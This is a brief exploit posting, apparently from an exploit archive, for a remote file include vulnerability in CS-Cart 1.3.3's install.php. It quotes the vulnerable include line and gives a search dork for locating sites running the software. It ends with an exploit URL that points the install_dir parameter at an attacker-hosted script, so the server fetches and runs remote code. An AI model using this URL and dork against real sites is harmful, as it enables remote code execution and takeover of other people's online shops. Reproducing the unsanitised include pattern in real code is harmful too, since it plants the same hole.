CS-Cart 1.3.3 (install.php) Remote File Include Vulnerability

[ahmed_labib_hilmy () yahoo com]

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$$ CS-Cart 1.3.3 (install.php) Remote File Include Vulnerability
$$ Script site: http://www.cs-cart.com
$$ Dork: Powered by CS-Cart - Shopping Cart Software
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$$ Found: irvian
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$$Greetz:ibnusina and all
$$ Specjal greetz:#hitamputih 
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$install_dir = dirname(__FILE__);
$install_skins_dir = is_dir('./var/skins_repository') ? 'var/skins_repository' : 'skins';
include $install_dir.'/core/install.php'

Expl:
http://www.site.com/[CS-Cart_path]/install.php?install_dir=[evil_scripts]